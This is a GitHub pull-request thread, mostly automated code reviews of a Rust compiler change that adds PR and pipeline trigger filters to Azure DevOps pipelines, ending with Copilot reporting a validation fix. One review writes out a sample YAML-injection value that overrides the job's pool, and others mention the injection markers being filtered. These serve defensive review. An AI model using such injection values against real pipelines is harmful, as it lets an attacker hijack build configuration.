• src/compile/common.rs — generate_setup_job / generate_agentic_depends_on: has_gate is derived from pr_filters.is_some() || pipeline_filters.is_some() (struct presence), while the gate step itself is only generated when lower_*_filters(filters) produces non-empty checks. If a user writes filters: {} (empty object, all sub-fields None), TriggerFiltersExtension::is_needed() returns true and the extension is activated, a download step is emitted, but no prGate step is ever generated. has_gate is still true, so the Agent job condition becomes dependencies.Setup.outputs['prGate.SHOULD_RUN'] == 'true' — which never resolves, and the agent never runs. Fix: derive has_gate from !lower_pr_filters(...).is_empty() rather than is_some(), or guard is_needed() the same way.

• src/compile/types.rs — triggers: → on: breaking change, silent failure: FrontMatter lacks #[serde(deny_unknown_fields)]. Existing agent files using the old triggers: key will silently have zero trigger configuration after this change — no pipeline trigger, no schedule. The compiled YAML will be valid but behaviorally broken. Consider either: (a) adding a #[serde(alias = "triggers")] on on_config for one-version compat, or (b) adding a deprecation check that bail!s when triggers: is present, pointing users to the migration guide.

• scripts/gate-eval.py — _glob strips ref prefix from the pattern side unconditionally: _strip_ref_prefix(pattern) is called on every glob pattern, not only branch patterns. This is benign in practice (non-branch patterns don't start with refs/), but it means a user who mistakenly writes title: "refs/heads/feature/*" gets silent pattern rewriting. Only strip from branch-related facts (source_branch, target_branch, triggering_branch).

⚠️ Suggestions

• src/compile/extensions/trigger_filters.rs:73 — setup_steps() pushes the download step unconditionally, even when both lower_pr_filters and lower_pipeline_filters return empty. This produces a Setup job with only a download step and no gate, which is unnecessary overhead. Guard the download push behind if !pr_checks.is_empty() || !pipeline_checks.is_empty().

• scripts/gate-eval.py — _glob is case-sensitive for PR titles: _re.fullmatch(regex, value) has no re.IGNORECASE. For title: and commit-message: filters, users may reasonably expect case-insensitive glob matching. Worth documenting explicitly that title: "*review*" won't match "Review".

• src/compile/common.rs:334 — expressions.join(", ") joins two expressions with a comma before passing the combined string as a single parts entry in generate_agentic_depends_on. This works because ADO condition and() accepts n comma-separated arguments, but it's fragile — the comma inside the string makes it look like multiple arguments in the and(...) body rather than a single string. Consider pushing each expression separately via parts.extend(expressions) for clarity and to make each expression independently visible in the generated YAML.

✅ What Looks Good

• Three-pass IR — Clean separation of lowering/validation/codegen. collect_ordered_facts using Kahn's algorithm instead of relying on enum variant order is the right call.
• Injection defenses — env: block for ADO macro values (not inline bash), contains_ado_expression/contains_pipeline_command validation on the escape-hatch expression: field, and base64 encoding for GATE_SPEC (which can't contain YAML-breaking characters) are all solid.
• System.AccessToken exception — Properly documented in docs/network.md with scope rationale. The token never reaches Stage 1 agent or Stage 3 executor.
• Topological fact ordering — The fail_open/fail_closed/skip_dependents propagation logic is correct and the test coverage is thorough.
• YAML indentation — replace_with_indent correctly handles the 4-space step indent inside the Setup job's steps: block.

Generated by Rust PR Reviewer for issue #345 · ● 6.6M · ◷

[github-actions]

🔍 Rust PR Review

Summary: Solid architecture with one concrete bug and a few security/design concerns worth addressing before merge.

---

Findings

🐛 Bugs / Logic Issues

filters: {} generates dangling dependsOn: Setup

src/compile/common.rs — generate_agentic_depends_on sets has_pr_filters = pr_filters.is_some(), which is true for any Some(PrFilters{..}) — including an explicitly empty filters: {}. However generate_setup_job has a second early-return:

if steps_parts.is_empty() && ext_steps_combined.is_empty() {
    return Ok(String::new());  // no Setup job generated
}

This fires when there are no user setup_steps, the extension didn't activate (empty filters produce no checks → is_needed() returns false), and no extension gate steps exist. The resulting pipeline has dependsOn: Setup in the Agent job pointing to a job that was never emitted, which ADO rejects at validation time.

Fix: base has_pr_filters / has_pipeline_filters on the same lower_*_filters().is_empty() check that TriggerFiltersExtension::is_needed() already uses:

let has_pr_filters = pr_filters.map(|f| !lower_pr_filters(f).is_empty()).unwrap_or(false);
let has_pipeline_filters = pipeline_filters.map(|f| !lower_pipeline_filters(f).is_empty()).unwrap_or(false);

---

🔒 Security Concerns

System.AccessToken used directly — against documented project convention

src/compile/filter_ir.rs (codegen) / scripts/gate-eval.py:

step.push_str("    SYSTEM_ACCESSTOKEN: $(System.AccessToken)\n");

The stored project convention is: "ADO tokens come from ARM service connections; System.AccessToken should not be used directly." The gate evaluator uses this token for both PR metadata reads (GET) and build self-cancel (PATCH). Self-cancel admittedly requires a token with write access to the builds API, but PR metadata is read-only and could use an ARM service connection scoped to that.

Beyond convention, this requires the "Allow scripts to access the OAuth token" setting to be enabled on the pipeline — this is false by default in ADO and isn't set automatically by the compiler. If not enabled, all API calls in the gate evaluator silently fail (SYSTEM_ACCESSTOKEN is empty), and the skip_dependents failure policy on PrMetadata would cause labels/draft/changed-files checks to be skipped. Worth documenting this requirement prominently, or adding a compile-time warning if tier-2/3 filters are present.

Fail-open for unknown predicate types in gate-eval.py

log(f"##[warning]Unknown predicate type: {t}")
return True   # ← gates pass silently

If the installed scripts.zip is from an older release than the compiler that generated the pipeline YAML (e.g., manually pinned, cached agent, or partial rollout), any predicate type added in the new release would silently pass the gate. Given that the evaluator is fetched at runtime from a version-locked URL (v{version}/scripts.zip), this risk is low in practice — but return False (fail-closed) or raising would be safer and still surfaced clearly to users via the build tag.

---

⚠️ Suggestions

* glob crosses directory boundaries — likely surprising to users

scripts/gate-eval.py:

regex = _re.escape(pattern).replace(r"\*", ".*").replace(r"\?", ".")

Because Python .* matches /, src/*.rs matches src/compile/filter_ir.rs as well as src/lib.rs. The PR documents this explicitly ("* any chars"), but the fixture src/**/*.rs strongly implies users expect standard glob semantics where * doesn't cross /. The ** is redundant here since * already matches everything.

Consider warning at compile time when a pattern contains * followed by / or ** (since both behave identically), or adopt Python's fnmatch.fnmatch which matches the full path string but documents * the same way. Either way, updating the front-matter docs to include a concrete cross-directory example would prevent confusion.

YAML generation uses manual string building in compile_gate_step_external

src/compile/filter_ir.rs:

step.push_str(&format!("  name: {}\n", ctx.step_name()));
step.push_str(&format!("  displayName: \"{}\"\n", ctx.display_name()));

These values come from &'static str constants so there's no injection risk today. But the pattern is fragile — a future GateContext variant with a display name containing " or \n would silently produce invalid YAML. Suggest serializing via serde_yaml or at minimum YAML-escaping display names.

generate_native_pr_trigger returns "" when on.pr has only filters:

src/compile/pr_filters.rs — when PrTriggerConfig has no branches/paths (only filters), generate_native_pr_trigger returns String::new(). This cascades up through generate_pr_trigger as an empty string. The effect is that no pr: block appears in the output YAML, which falls back to ADO repo-level defaults. This is probably the right behavior (let all PRs through the native trigger, then gate via the evaluator), but it's implicit. A comment explaining this is intentional would help readers.

---

✅ What Looks Good

• The three-pass IR design (lower → validate → codegen) is clean and the compile-time conflict detection (min > max, time-window zero-width, include/exclude overlap) catches real user mistakes early.
• Kahn's topo-sort for fact ordering is correct and doesn't rely on enum variant declaration order — good defense against future enum reordering.
• ADO macro values are passed via env: block rather than inline shell substitution, which prevents PR title/branch injection into bash.
• The bypass logic (Build.Reason != PullRequest) is correctly encoded in both the Python evaluator and the job condition, so non-PR builds are never blocked by PR-specific gates.
• base64-encoding the gate spec into a quoted YAML string is safe (only [A-Za-z0-9+/=]).
• collect_ordered_facts has a proper cycle-detection bailout to prevent infinite loops on a malformed Fact::dependencies() graph.

Generated by Rust PR Reviewer for issue #345 · ● 1.5M · ◷

[github-actions]

🔍 Rust PR Review

Summary: Well-architected feature — a few issues worth addressing before merge.

Findings

🐛 Bugs / Logic Issues

• [tests/src/compile/types.rs — all new test_pr_trigger_config_* tests] Unit tests for OnConfig deserialization still use the old triggers: YAML key in their fixtures, then slice into it directly (val["triggers"].clone()). Since FrontMatter.on_config is #[serde(rename = "on")], using triggers: in the front matter would silently deserialize on_config as None. These tests work only because they bypass FrontMatter entirely — but they could mislead contributors into thinking triggers: is still a supported key. The single full-stack test (test_pr_trigger_in_full_front_matter) correctly uses on:.

• [src/compile/filter_ir.rs — test_lower_pipeline_filters] The branch fixture uses "^refs/heads/main$" — that's regex syntax, not a glob. In the Python evaluator, _re.escape turns this into \^refs/heads/main\$, so it would never match refs/heads/main. The test only asserts checks.len() == 2, so it doesn't fail, but it silently documents incorrect usage that could mislead future contributors writing real filter configs.

🔒 Security Concerns

• [src/compile/filter_ir.rs:1143, scripts/gate-eval.py — self-cancel] The gate step passes SYSTEM_ACCESSTOKEN: $(System.AccessToken) for self-cancel. This requires "Allow scripts to access the OAuth token" to be enabled on the pipeline — if it isn't, self_cancel() logs a warning and returns, the self-cancel REST call never fires, and the build shows as "Succeeded" (with the agent job skipped via condition) rather than "Cancelled". Users will likely expect a "Cancelled" result. The YAML comment mentions this requirement but it's buried; it should be surfaced in docs/front-matter.md alongside the filters: docs.

⚠️ Suggestions

• [src/compile/pr_filters.rs:27-30] generate_native_pr_trigger returns an empty string when on.pr has neither branches nor paths configured. Returning empty means no pr: key is emitted, which ADO interprets as "trigger on all branches" — the intended behaviour for on: {pr: {filters: {...}}}. There's no explicit test or comment asserting this; add one to guard against a future "fix" that emits pr: none instead.

• [scripts/gate-eval.py — _glob] The dot . in _re.fullmatch doesn't match \n by default in Python, so a PR title containing a newline would fail a * glob. Practically impossible from the ADO API, but worth noting as a documentation-level caveat or adding flags=_re.DOTALL.

✅ What Looks Good

• The 3-pass IR (lower → validate → codegen) is clean and well-separated. Having the fact dependency graph (FACT_DEPS in Python, Fact::dependencies() in Rust) explicitly declared and kept in sync is the right design.
• Security posture is solid: patterns go into the base64-encoded GATE_SPEC blob (not interpolated into bash), ADO variables are passed via the step env: block (prevents injection through PR title/branch values), and the expression escape hatch is validated for ##vso[, ${{, and ADO macro injection before being ANDed into the job condition.
• Kahn's topo-sort with cycle detection in collect_ordered_facts is correct; the cycle guard is appropriately tight.
• The is_needed() check (lowering the filters and checking if the result is non-empty) correctly handles the filters: {} no-op case so a phantom Setup job is never emitted.
• Test coverage is thorough: 1052 Rust tests + 40 Python evaluator tests covering all predicate types, bypass logic, and failure policies.

Generated by Rust PR Reviewer for issue #345 · ● 1.4M · ◷

[github-actions]

🔍 Rust PR Review

Summary: Solid architecture with well-designed IR, good injection defences on the hot path — but two correctness/security issues need fixing before merge.

---

Findings

🐛 Bugs / Logic Issues

• src/compile/common.rs — has_gate diverges from actual gate presence

  generate_setup_job computes has_gate = pr_filters.is_some() || pipeline_filters.is_some(), but TriggerFiltersExtension only generates a gate step when lower_pr_filters produces a non-empty check list. The caller already computes the correct booleans:

  let has_pr_filters = pr_filters
      .map(|f| !super::filter_ir::lower_pr_filters(f).is_empty())
      .unwrap_or(false);

  If a user writes on.pr.filters: {} (empty block), pr_filters.is_some() is true but lower_pr_filters returns [], so no gate step is generated. Any setup: steps will be conditioned on variables['prGate.SHOULD_RUN'] == 'true' — a variable that is never set — and will silently never execute. Fix: pass has_pr_filters/has_pipeline_filters into generate_setup_job instead of relying on .is_some().

🔒 Security Concerns

• src/compile/extensions/trigger_filters.rs — no integrity check on downloaded scripts.zip

  The generated download step is:

  curl -fsSL "https://github.com/githubnext/ado-aw/releases/download/v{version}/scripts.zip" \
    -o /tmp/ado-aw-scripts/scripts.zip

  There is no SHA256 verification. The release already produces checksums.txt containing sha256sum ... scripts.zip. Verifying it in the download step would close a supply-chain window: a tampered release artifact (or a MITM that bypasses the AWF allowlist) could execute arbitrary Python inside the pipeline sandbox.

  Suggested addition after the unzip:

  EXPECTED_SHA=$(curl -fsSL ".../checksums.txt" | awk '/scripts\.zip/ {print $1}')
  echo "$EXPECTED_SHA  /tmp/ado-aw-scripts/scripts.zip" | sha256sum -c -

• src/compile/common.rs — YAML injection via newline in expression escape hatch

  sanitize_config (line 88–97 of sanitize.rs) explicitly preserves \n. The expression value is validated for ADO macro injection (${{, $() and VSO commands (##vso[), but not for embedded newlines. The generated YAML uses a literal block scalar:

  format!("{depends}condition: |\n and(\n   {condition_body}\n )")

  A value such as "succeeded()\n)\npool:\n name: AttackerPool" would terminate the literal block (dedented )) and inject new YAML keys at the job mapping level — overriding pool:, steps:, or other job-level settings. Mitigation: reject expression values containing \n or \r characters before building the condition YAML.

⚠️ Suggestions

• scripts/gate-eval.py — pr_is_draft failure policy mismatch

  Fact::PrIsDraft has FailurePolicy::FailClosed in Rust, but if pr_metadata is None in the Python evaluator, acquire_fact("pr_is_draft") returns "unknown" instead of raising. A draft: false filter would then evaluate "unknown" == "false" → fail, which is fail-closed in effect. The comment in acquire_fact (if md is None: return "unknown") appears to be dead code when SkipDependents propagation is working correctly (the fact would have been skipped). Consider removing the branch and raising, or add a test asserting the skip path is taken before acquire_fact is reached.

• src/compile/filter_ir.rs:compile_gate_step_external — missing condition: on gate step

  The gate step has no explicit condition: field. ADO defaults this to succeeded(), which is the intended behaviour (gate only runs if download succeeds). Making it explicit would eliminate ambiguity:

  step.push_str("  condition: succeeded()\n");

• src/compile/extensions/trigger_filters.rs — SYSTEM_ACCESSTOKEN prerequisite not surfaced at compile time

  Self-cancel requires the pipeline to have "Allow scripts to access OAuth token" enabled. If it isn't, the token is empty, self_cancel logs a warning and returns, but SHOULD_RUN is still false — so the agent job condition blocks correctly. No silent pass-through, which is good. However, the compiler could emit a Warning diagnostic via validate() when a draft: or labels: filter is present (which triggers the PR REST API path that also uses SYSTEM_ACCESSTOKEN) to remind operators.

✅ What Looks Good

• env: block for ADO variables — threading all PR context through env: (not inline bash export) is exactly right; it prevents injection via PR title/branch values.
• Base64-encoded gate spec — clean, safe boundary between Rust codegen and Python evaluation; the spec can only contain A-Za-z0-9+/=.
• Kahn's topo-sort for fact ordering — correct and well-tested; fact ordering that doesn't depend on enum variant declaration order is the right design.
• Bypass semantics — the or(ne(Build.Reason, 'PullRequest'), eq(prGate.SHOULD_RUN, 'true')) condition correctly allows schedule/manual builds to pass the gate unconditionally.
• Compile-time conflict detection — the min>max, zero-width window, and include∩exclude validations are thorough and produce actionable error messages.
• Failure policies — the three-tier fail-closed / fail-open / skip-dependents model is well-designed and matches the risk level of each fact source.

Generated by Rust PR Reviewer for issue #345 · ● 1.7M · ◷

[github-actions]

🔍 Rust PR Review

Summary: Strong architecture and well-tested, but has one correctness bug and two security concerns worth addressing before merge.

---

Findings

🐛 Bugs / Logic Issues

generate_setup_job: condition references non-existent gate step variable
src/compile/common.rs — in the user-setup-step conditioning block:

let condition = match (pr_filters.is_some(), pipeline_filters.is_some()) {
    (true, true) => "and(eq(variables['prGate.SHOULD_RUN'], 'true'), eq(variables['pipelineGate.SHOULD_RUN'], 'true'))"
    ...
};

The guard has_gate is computed from lower_*_filters().is_empty() (lowered check count), but the gate-variable name selector uses raw pr_filters.is_some() / pipeline_filters.is_some() (struct presence). These diverge when a user writes an empty filters block:

on:
  pr:
    filters: {}          # Some(PrFilters::default()) — no checks after lowering
  pipeline:
    name: Build
    filters:
      source-pipeline: "Build*"   # produces checks

Here has_gate = true (pipeline checks exist), user steps are conditioned, and the condition becomes and(prGate.SHOULD_RUN == true, pipelineGate.SHOULD_RUN == true) — but no prGate step is ever generated, so prGate.SHOULD_RUN is undefined and the user's setup steps silently never run.

Fix: thread has_pr_filters/has_pipeline_filters into generate_setup_job (same booleans already computed in compile_shared and correctly passed to generate_agentic_depends_on), and use them in the match instead of pr_filters.is_some().

---

generate_pr_trigger: double .unwrap() in production path
src/compile/common.rs:220:

if has_pr_trigger {
    return super::pr_filters::generate_native_pr_trigger(
        on_config.as_ref().unwrap().pr.as_ref().unwrap()
    );
}

Technically safe (same condition was just asserted), but fragile to future refactors. Idiomatic fix:

if let Some(pr) = on_config.as_ref().and_then(|o| o.pr.as_ref()) {
    return super::pr_filters::generate_native_pr_trigger(pr);
}

---

🔒 Security Concerns

SYSTEM_ACCESSTOKEN deviates from repo convention and undocumented requirement
src/compile/filter_ir.rs — compile_gate_step_external:

step.push_str("    SYSTEM_ACCESSTOKEN: $(System.AccessToken)\n");
```

This repo's established convention is that ADO tokens come from ARM service connections — `System.AccessToken` is not used directly. The gate step uses it for both self-cancel (write, PATCH `/builds/{id}`) and PR metadata/changed-files (read, GET). This requires consuming pipelines to enable **"Allow scripts to access the OAuth token"** in pipeline settings — a non-default and undocumented requirement that will silently fail (empty token, REST 401) for any pipeline that doesn't have it set.

The comment in the code acknowledges this, but there's no corresponding documentation in `docs/front-matter.md` or compilation error/warning when the `filters:` block is present. Consider emitting a compile-time warning (or adding a required pipeline variable guard in the gate step) so authors know this setting must be configured.

---

**`scripts.zip` downloaded without integrity verification**  
`src/compile/extensions/trigger_filters.rs`:

```
curl -fsSL "{RELEASE_BASE_URL}/v{version}/scripts.zip" -o /tmp/ado-aw-scripts/scripts.zip

The version is compile-time pinned (good — no version drift), but there is no checksum verification. checksums.txt is computed and uploaded as part of the release (sha256sum ... scripts.zip), but it is never downloaded or verified in the generated pipeline step. A compromised release asset (or MITM on the CDN edge) would execute arbitrary Python in consumer pipelines with access to SYSTEM_ACCESSTOKEN.

Suggested mitigation: embed the expected SHA256 for scripts.zip as a compile-time constant (e.g., via build.rs or a const baked at release time) and validate after download:

echo "{expected_sha256}  /tmp/ado-aw-scripts/scripts.zip" | sha256sum --check

---

✅ What Looks Good

• Base64 gate spec cleanly prevents YAML injection of user-supplied filter patterns (title, branch names, author emails). sanitize_config_fields() cleans them before lowering, and the JSON → base64 → env: block path is safe regardless.
• Three-pass IR (lower → validate → codegen) is well-structured; compile-time conflict detection (min > max, time windows, label contradictions) is thorough.
• Kahn's topo-sort for fact ordering is correctly motivated and implemented.
• generate_agentic_depends_on correctly uses has_pr_filters/has_pipeline_filters (lowered check counts) — the inconsistency is only in generate_setup_job.
• Expression escape-hatch validation (newlines, ADO expressions, template markers, ##vso[) in compile_shared is comprehensive.
• generate_pr_trigger filters-only → empty string behavior is correct and well-documented in the test comments.
• Test coverage is excellent (1052 Rust + 40 Python tests).

Generated by Rust PR Reviewer for issue #345 · ● 1.9M · ◷

[github-actions]

🔍 Rust PR Review

Summary: Well-architected change with strong injection defenses — three targeted concerns worth addressing before merge.

---

Findings

🔒 Security Concerns

1. System.AccessToken usage deviates from repo auth convention
src/compile/filter_ir.rs (gate step codegen) / scripts/gate-eval.py

The generated gate step injects SYSTEM_ACCESSTOKEN: $(System.AccessToken) and the evaluator uses it for REST API calls (PR metadata, changed-files, self-cancel). Per the established repo convention, ADO tokens should come from ARM service connections, not $(System.AccessToken) directly. This also requires pipeline admins to enable "Allow scripts to access the OAuth token" — a non-default setting that changes the pipeline's security posture. The comment in the code acknowledges it, but consumers won't discover this requirement until the gate step silently fails to acquire PR metadata.

At a minimum, the docs/front-matter.md update should call this out as a prerequisite, and the compiler should produce a warning or the generated YAML should include a comment.

---

2. No integrity verification on the downloaded scripts.zip
src/compile/extensions/trigger_filters.rs (the download step)

curl -fsSL "https://github.com/githubnext/ado-aw/releases/download/v{version}/scripts.zip" -o ...

The download has no SHA-256 checksum verification. The pipeline runs in the AWF network-isolated sandbox, so the risk is bounded — but a compromised release artifact or a DNS-level response substitution would silently replace gate-eval.py with arbitrary Python. Since the compiler knows version at compile time, baking in a checksum (computed in the release CI and embedded via env!() or a build.rs constant) would close this window completely:

echo "<sha256_hash>  /tmp/ado-aw-scripts/scripts.zip" | sha256sum -c

---

3. Missing reject_pipeline_injection for on.pr branch/path values
src/compile/common.rs (validate_front_matter_identity)

on.pipeline.name/project/branches are validated with reject_pipeline_injection. on.pr.branches.include/exclude and on.pr.paths.include/exclude are not — they only go through sanitize_config_fields(). In generate_native_pr_trigger, these values are embedded using ' → '' YAML escaping only:

yaml.push_str(&format!("      - '{}'\n", b.replace('\'', "''")));

If sanitize_config doesn't strip newlines (and it likely doesn't — that's reject_*'s job), a branch name with an embedded \n could break the generated YAML. The attack surface is limited (pipeline author controls these values), but the inconsistency with the pipeline trigger validation pattern is worth fixing for defence-in-depth:

for branch in &pr.branches.include {
    validate::reject_pipeline_injection(branch, "on.pr.branches.include")?;
}

---

⚠️ Suggestions

4. Breaking change with no serde alias and no compiler warning
src/compile/types.rs

#[serde(default, rename = "on")]
pub on_config: Option<OnConfig>,

The old triggers: key is completely dropped. Since serde silently ignores unknown fields, an existing pipeline file with triggers: will compile successfully but produce a pipeline with no triggers configured — a silent regression. A #[serde(alias = "triggers")] would help, or at least a deny_unknown_fields + friendly error message pointing to the migration guide.

---

5. generate_native_pr_trigger returning "" for filter-only configs
src/compile/pr_filters.rs:30

When on.pr has only filters: (no branches/paths), the function returns String::new(). This empty string is substituted into the {{ pr_trigger }} template marker, which means the generated pipeline has no pr: section — relying on ADO's default (enabled for all branches). This is correct intended behavior, but it's surprising that the early-return path in generate_pr_trigger produces an empty string that erases what the schedule/pipeline fallback logic would have done. A brief code comment at the return site would prevent future confusion.

---

✅ What Looks Good

• Three-layer expression escape hatch validation — newlines, ADO macros (${{, $(, $[), and pipeline commands (##vso[) are all rejected. Thorough.
• env: block for ADO variable injection — using step env: instead of bash export/interpolation prevents PR title/branch content from injecting into the gate evaluator's environment.
• Base64-encoded gate spec — user filter patterns are JSON-serialized + base64-encoded before embedding. No YAML injection path from user patterns into GATE_SPEC.
• _glob correctly makes brackets literal — _re.escape() before replacement ensures *[review]* matches the literal string [review], not a regex character class.
• Fail-closed on download failure — if the scripts bundle download fails, SHOULD_RUN is never set to "true", the agent job is gated out. Correct behavior.
• Kahn's topo-sort with cycle detection in collect_ordered_facts — anyhow::ensure!(remaining.len() < before, ...) properly prevents infinite loops on circular fact deps.
• PatternFilter with #[serde(transparent)] — clean design, allows title: "pattern" string form without a wrapping struct in the front matter.

Generated by Rust PR Reviewer for issue #345 · ● 901.1K · ◷

[jamesadevine]

@copilot Missing reject_pipeline_injection for on.pr branch/path values
src/compile/common.rs (validate_front_matter_identity)

on.pipeline.name/project/branches are validated with reject_pipeline_injection. on.pr.branches.include/exclude and on.pr.paths.include/exclude are not — they only go through sanitize_config_fields(). In generate_native_pr_trigger, these values are embedded using ' → '' YAML escaping only:

yaml.push_str(&format!(" - '{}'\n", b.replace(''', "''")));
If sanitize_config doesn't strip newlines (and it likely doesn't — that's reject_*'s job), a branch name with an embedded \n could break the generated YAML. The attack surface is limited (pipeline author controls these values), but the inconsistency with the pipeline trigger validation pattern is worth fixing for defence-in-depth:

for branch in &pr.branches.include {
validate::reject_pipeline_injection(branch, "on.pr.branches.include")?;
}

[Copilot]

@copilot Missing reject_pipeline_injection for on.pr branch/path values
src/compile/common.rs (validate_front_matter_identity)
...

Fixed in 48b8439. Added reject_pipeline_injection calls for all four on.pr fields (branches.include, branches.exclude, paths.include, paths.exclude) in validate_front_matter_identity, matching the pattern already used for on.pipeline.branches — including the entry value in the field name for clearer error messages. Also added 6 new unit tests covering newlines, ADO expressions, and valid values for these fields.

Warning

Firewall rules blocked me from connecting to one or more addresses (expand for details)

I tried to connect to the following addresses, but was blocked by firewall rules:

• spsprodeus21.vssps.visualstudio.com
  • Triggering command: /home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/ado_aw-654342efa6a15a60 /home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/ado_aw-654342efa6a15a60 /home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/async_trait-f6d12dc65cce50cb.a/home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/ado_aw-31b88405789a05cd.0gnzosdn9sguvfbwe9cthd0xu.1vjxyvr.rcgu.o /home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/async_trait-f6d12dc65cce50cb.a/home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/ado_aw-31b88405789a05cd.0gpol6qzxtm92rf11xgqb3iuy.1vjxyvr.rcgu.o 64-REDACTED-linux-gnu/bin/rust-lld /home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/async_trait-f6d12dc65cce50cb.a/home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/ado_aw-31b88405789a05cd.0ldgpo6gh1q9qdorm6mjdf6tn.1vjxyvr.rcgu.o /home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/async_trait-f6d12dc65cce50cb.a/home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/ado_aw-31b88405789a05cd.0p63smhbl8ezlwmnw18avaft9.1vjxyvr.rcgu.o /home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/async_trait-f6d12dc65cce50cb.a/home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/ado_aw-31b88405789a05cd.0xco4thhpdlarihnqyg2cwmzv.1vjxyvr.rcgu.o /home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/rustcgb8Gix/rmeta.o /home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/async_trait-f6d12dc65cce50cb.3/home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/ado_aw-31b88405789a05cd.13056qoukyecxz74qgnnnyh8f.1vjxyvr.rcgu.o -Wl,--as-needed -Wl,-Bstatic /home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/libsyn-1500b8e8e9aaac8c.rlib b lib/rustlib/x86_/home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/thiserror_impl-a69babd28d2d3b2cc .rlib s/rustc73o17U/sy/home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/thiserror_impl-a69babd28d2d3b2/home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/rustc1vMdPP/symbols.o s/futures_macro-cc s/futures_macro--Wl,--version-script=/home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/rustcgb8G/home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/ado_aw-31b88405789a05cd.0151rp8atel5l3op9z678oy5n.1vjxyvr.rcgu.o s/futures_macro--Wl,--no-undefined-version s/futures_macro--m64 (dns block)
• spsprodweu4.vssps.visualstudio.com
  • Triggering command: /home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/ado_aw-654342efa6a15a60 /home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/ado_aw-654342efa6a15a60 /home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/async_trait-f6d12dc65cce50cb.a/home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/ado_aw-31b88405789a05cd.0gnzosdn9sguvfbwe9cthd0xu.1vjxyvr.rcgu.o /home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/async_trait-f6d12dc65cce50cb.a/home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/ado_aw-31b88405789a05cd.0gpol6qzxtm92rf11xgqb3iuy.1vjxyvr.rcgu.o 64-REDACTED-linux-gnu/bin/rust-lld /home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/async_trait-f6d12dc65cce50cb.a/home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/ado_aw-31b88405789a05cd.0ldgpo6gh1q9qdorm6mjdf6tn.1vjxyvr.rcgu.o /home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/async_trait-f6d12dc65cce50cb.a/home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/ado_aw-31b88405789a05cd.0p63smhbl8ezlwmnw18avaft9.1vjxyvr.rcgu.o /home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/async_trait-f6d12dc65cce50cb.a/home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/ado_aw-31b88405789a05cd.0xco4thhpdlarihnqyg2cwmzv.1vjxyvr.rcgu.o /home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/rustcgb8Gix/rmeta.o /home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/async_trait-f6d12dc65cce50cb.3/home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/ado_aw-31b88405789a05cd.13056qoukyecxz74qgnnnyh8f.1vjxyvr.rcgu.o -Wl,--as-needed -Wl,-Bstatic /home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/libsyn-1500b8e8e9aaac8c.rlib b lib/rustlib/x86_/home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/thiserror_impl-a69babd28d2d3b2cc .rlib s/rustc73o17U/sy/home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/thiserror_impl-a69babd28d2d3b2/home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/rustc1vMdPP/symbols.o s/futures_macro-cc s/futures_macro--Wl,--version-script=/home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/rustcgb8G/home/REDACTED/work/ado-aw/ado-aw/target/debug/deps/ado_aw-31b88405789a05cd.0151rp8atel5l3op9z678oy5n.1vjxyvr.rcgu.o s/futures_macro--Wl,--no-undefined-version s/futures_macro--m64 (dns block)

If you need me to access, download, or install something from one of these locations, you can either:

• Configure Actions setup steps to set up my environment, which run before the firewall is enabled
• Add the appropriate URLs or hosts to the custom allowlist in this repository's Copilot coding agent settings (admins only)